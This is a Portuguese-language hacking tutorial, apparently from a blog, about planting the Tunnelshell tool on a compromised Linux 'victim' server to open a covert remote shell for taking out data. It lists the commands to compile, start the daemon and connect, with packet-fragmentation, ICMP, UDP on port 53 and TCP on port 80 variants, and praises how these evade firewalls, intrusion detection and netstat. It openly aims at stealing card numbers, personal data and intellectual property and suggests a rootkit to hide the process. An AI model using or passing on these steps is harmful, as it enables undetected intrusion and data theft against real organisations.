Como criar um canal quase indetectável com Tunnelshell

Na maioria das vezes, o hacker profissional está buscando informações protegidas do sistema ou rede de destino. Isso pode ser números de cartão de crédito, informações de identificação pessoal ou propriedade intelectual (fórmulas, planos, planos, projetos, etc.). A maioria dos meus tutoriais foram focados em entrar no sistema, mas isso só implica a pergunta: “o que eu faço quando eu chegar lá?”




Se um hacker perseguir informações ou dados, eles precisam de uma maneira de tirar os dados do sistema ou rede de destino. Otimamente, eles querem obter os dados de uma maneira que não será detectada pelos dispositivos de segurança ou pelos administradores de segurança. Neste tutorial, analisaremos a criação de um canal secreto que podemos usar para extrair os dados com poucas possibilidades de serem detectados usando uma ferramenta chamada tunnelshell.

O básico de Tunnelshell e como funciona

O Tunnelshell é um pequeno e doce programa que funciona apenas em servidores Linux / Unix comprometidos . Como muitos grandes servidores corporativos e institucionais estão executando algum sabor da família Unix (AIX, HP-UX, Solaris, IRIS, Linux, etc.), não deve haver um impedimento significativo ao uso de tunnelshell para extruir (remover) os dados.

Claro, não funcionará na extração de dados do computador da sua ex-esposa ou namorada, nem mesmo de uma empresa de pequeno a médio porte usando uma das muitas versões do Windows Server (2003, 2008, 2012), mas será Trabalhe nos servidores big boy, que é onde estão todos os presentes valiosos.

Ele opera na arquitetura cliente / servidor familiar, como a maioria dos aplicativos Linux / Unix. A beleza do tunnelshell é que ele funcionará em vários protocolos, incluindo TCP, UDP, ICMP e RawIP. Além disso, é capaz de fragmentar pacotes para superar firewalls e sistemas de detecção de intrusão.

Nos modos TCP e UDP, não requer ligação a um soquete ou porta, então, quando a vítima executar o netsat, nenhuma porta aberta será exibida (mas aparecerá na lista de processos). No modo TCP, nenhum handshake de três vias (SYN, SYN-ACK, ACK) é executado, portanto nenhum endereço IP será registrado.

No modo ICMP, o tunnelshell usa ICMP Echo Request / Echo Reply (Tipo 8 e Tipo 0) para transportar os dados. Portanto, parece ser um ping contínuo executando entre os sistemas. Embora muitos roteadores e firewalls bloqueiam o ICMP entrando, eles geralmente não bloqueiam o ICMP saindo, pois usuários e administradores precisam usar ping para encontrar hosts ativos.




Usando o Tunnelshell para um canal secreto indetectável

Infelizmente, Kali não inclui tunnelshell. Eu acho que você pode entender que os desenvolvedores do Kali não podiam incluir todas as ferramentas de hacking e segurança lá fora. Neste tutorial, vou criar um túnel entre o nosso sistema Kali e um sistema Linux comprometido. Neste caso, usarei o BackTrack 5v3 (que é criado no Ubuntu) como minha vítima, mas qualquer um dos sabores do UNIX / Linux funcionará como uma vítima adequada.




Passo 1 iniciar o  Kali

Atire Kali e baixe o tunnelshell. Normalmente, poderíamos usar o utilitário gráfico / adicionar software de apt-get ou Kali , mas, como o tunnelshell não está no repositório de Kali, essa não é uma opção. Existem inúmeras maneiras de podermos baixá-lo, mas vamos usar a maneira antiga de simplesmente acessar o site e baixá-lo.

Navegue até Packet Storm Security para baixar o tunnelshell. Observe que é o arquivo .tgz, o que significa que é um arquivo .tar comprimido. Isso significa que precisamos descompactá-lo e descompactá-lo antes que possamos usá-lo.

Na captura de tela abaixo, eu baixei para o BackTrack. Obviamente, se este fosse o sistema de vítimas, esta não seria a maneira mais fácil ou notável de obter tunnelshell nesse sistema. Na realidade, eu poderia TFTP do meu sistema de ataque à vítima, ou se eu tiver o Meterpreter de Metasploit na vítima, eu tenho o comando de upload incorporado lá.

Na captura de tela abaixo, você pode ver que eu baixei tunnelshell com sucesso na vítima.

Preciso também baixá-lo para o meu sistema Kali. Eu destaquei o arquivo tunnelshell no meu diretório de usuário raiz. Não importa qual diretório você colocou, apenas lembre-se de onde você o coloca e execute os comandos desse diretório.




Passo 2 Descompactar  Tunnelshell

Para descompactar o tunnelshell, digite:

kali> tar xvfz tunnelshell_2.3.tgz

Para compilar nossa nova ferramenta, basta digitar:

kali>  make




Etapa 3: ativar Tunnelshell na vítima

Agora que nós baixamos e compilamos o tunnelshell no sistema de vítimas, a única coisa que precisamos fazer é digitar:

kali> ./tunneld




Isso abre o servidor no sistema da vítima esperando nossa conexão do cliente (o invasor). Como não utilizamos nenhum interruptor na ativação do tunnelshell, ele é executado na configuração padrão usando a fragmentação de pacotes.

A beleza desta configuração padrão é que ele envia pacotes fragmentados (os pacotes são divididos em pedaços que são remontados no destino – um método tentado e verdadeiro de evadir a detecção) que podem ignorar sem detecção quase todos os firewall e IDS.

Passo 4 Conecte-se ao túnel

Agora, precisamos apenas conectar-se ao daemon tunnelshell (um serviço de fundo) na vítima. A sintaxe é simples, simplesmente digitar:

kali> ./tunnel -t frag 192.168.89.191

  • -t – este interruptor precede o tipo de túnel
  • frag – define o tipo
  • 192.168.89.191 – o endereço IP da vítima onde o servidor tunnelshell está sendo executado

Quando fazemos isso, o tunnelshell se conecta, mas não nos dá um prompt de comando, mas sim uma linha em branco. Em seguida, podemos digitar qualquer comando do Linux e retorna a saída como se estivéssemos no prompt do Linux.

Então, abaixo, eu digitei pwd (diretório de trabalho atual) e retornou o diretório que o túnel está executando na vítima, / tmp . Quando eu escrevo ls -l , ele fornece uma lista longa do diretório / tmp. Posso então seguir em frente e digitar qualquer comando do Linux a partir deste shell.




Passo 5 Tentando Detectar a Tunneshell sobre a Vítima

Agora que estabelecemos um túnel entre a vítima e o atacante, verifique se a vítima pode detectar o nosso túnel. Vamos para o sistema de vítimas (neste caso, BackTrack no Ubuntu) e veja se, como um sysadmin, podemos detectar o túnel.

Primeiro, vamos tentar o netstat, que deve nos mostrar todas as conexões atuais para o nosso computador. Quando escrevemos netstat  na vítima, você pode ver muitas conexões, mas não a nossa tunnelshell.




A única fraqueza do tunnelshell é que, a menos que possamos integrar um rootkit que ocultará seu processo, como o Knark, ele aparece na nossa lista de processos como mostrado abaixo.

Outras configurações

Aqui, usamos o tunnelshell em sua configuração padrão usando a fragmentação de pacotes, mas o tunnelshell também pode usar ICMP, TCP, UDP e RawIP, o que pode ser mais útil dependendo das circunstâncias.

ICMP

Para executar tunnelshell no modo ICMP, você pode iniciar o servidor com:

./tunneld -t icmp -m echo-reply

E o cliente com:

./tunnel -t icmp -m echo-reply, echo <IPaddressofvictim>

UDP

Para executar tunnelshell no modo UDP sobre o DNS, você pode iniciar o servidor com:

./tunneld -t udp -p 53, 2000

E o cliente com:

./tunnel -t udp -p 53, 2000 <IPaddressofvictim>

TCP

Para iniciar o tunnelshell no modo TCP na porta 80, você pode iniciar o servidor com:

./tunneld -t tcp -p 80, 2000

E o cliente com:

./tunnel -t tcp -p 80, 2000 <IPaddressofvictim>

Continue voltando, meus hackers novatos, enquanto exploramos mais técnicas e ferramentas do universo hacker!

 

 

 

 

 

Você pode gostar...

Deixe uma resposta

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *